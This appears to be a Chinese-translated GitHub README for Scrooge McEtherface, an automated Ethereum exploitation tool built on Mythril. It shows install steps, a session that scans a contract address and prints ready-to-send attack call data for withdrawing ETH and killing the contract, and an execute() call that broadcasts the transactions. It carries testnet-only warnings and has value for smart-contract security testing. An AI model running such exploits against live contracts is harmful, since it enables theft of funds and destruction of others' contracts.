muellerberndt/scrooge-mcetherface

GitHub: muellerberndt/scrooge-mcetherface

一款基于符号执行和SMT求解的以太坊智能合约自动漏洞利用工具,能够自动发现漏洞并生成可执行的攻击交易序列来提取ETH。

Stars: 154 | Forks: 42

# Scrooge McEtherface [![Discord](https://img.shields.io/discord/481002907366588416.svg)](https://discord.gg/E3YrVtG) Scrooge McEtherface 是一个基于 [Mythril](https://github.com/ConsenSys/mythril/) 的以太坊自动掠夺工具。它利用由各种问题(包括 [整数算术错误](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101)、[暴露的初始化函数](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-118) 等)引起的 [以太币盗窃](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-105) 和 [自毁](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-106) 实例。使用风险自负。 ## 安装 ``` $ git clone https://github.com/b-mueller/scrooge-mcetherface $ cd scrooge-mcetherface $ pip install -r requirements.txt $ cp config.ini.example config.ini ``` 需要 Python 3.5 或更高版本。在 `config.ini` 中设置你的 RPC URL 和以太坊地址。最简单的测试方法是使用 [Ganache](https://truffleframework.com/ganache)。 `symbolic_tx_count` 参数设置了探索交易数量的上限。 ## 用法 通过运行以下命令启动会话: ``` $ ./scrooge
``` 这将分析目标地址处的智能合约,输出发现的漏洞并生成一个 Python shell: ``` $ ./scrooge 0x3b1d02336205d1f22961c0f462abfe083e515921 Scrooge McEtherface at your service. Analyzing 0x3B1D02336205D1F22961C0F462aBfE083E515921 over 2 transactions. Found 2 attacks: ATTACK 0: Anyone can withdraw ETH from the contract account. 0: Call data: 0xff9913e8 bebebebebebebebebebebebe7752B465f7452bF49B8A5f43977Efb261060D2Ef, call value: 0x0 1: Call data: 0x6aba6fa1 , call value: 0x0 ATTACK 1: The contract can be killed by anyone. 0: Call data: 0xff9913e8 bebebebebebebebebebebebe7752B465f7452bF49B8A5f43977Efb261060D2Ef, call value: 0x0 1: Call data: 0xc96cd46f , call value: 0x0 Python 3.6.3 (default, Jan 8 2018, 08:49:07) (InteractiveConsole) >>> ``` 你现在可以访问一个 [Raid](https://github.com/b-mueller/scrooge-mcetherface/blob/5584c54d6a6da1a08a162b51569b47dbb525c5d1/scmf/raid.py#L62) 对象列表,每个对象代表利用漏洞的一组交易序列。 ``` >>> r = raids[0] >>> print(r.pretty()) Anyone can withdraw ETH from the contract account. 0: Call data: 0xff9913e8 bebebebebebebebebebebebe7752B465f7452bF49B8A5f43977Efb261060D2Ef, call value: 0x0 1: Call data: 0x6aba6fa1 , call value: 0x0 ``` 使用 `execute()` 将交易发送到区块链: ``` >>> r.execute() Transaction sent successfully, tx-hash: 0x93f4a72d3ce897c4525a336249f32ae0704f6c0fed6b7b935801d5c7e68ca4b9. Waiting for transaction to be mined... Transaction sent successfully, tx-hash: 0x21d1e77f6f629377ac227ec2e33f78b1d073c175826c0b161265121a74c2393b. Waiting for transaction to be mined... True ``` 如果成功地从目标账户中提取了以太币,则返回 `True`。 ## 支持 **完全不存在对此工具的支持。** ## 重要提示 - 这是一个周末项目,尚未经过广泛测试。不要在 mainnet 上使用它。 - 行为负责,不要意外破坏其他人的合约。 - **仅在测试网(testnet)上使用,风险自负**。
标签:CISA项目, DEFCON, Mythril, Python, SMT求解器, SWC漏洞, Web3安全, 代码生成, 以太坊, 加密货币 theft, 区块链攻防, 整数溢出, 无后门, 智能合约安全, 渗透测试工具, 符号执行, 自动化利用, 自毁漏洞, 逆向工具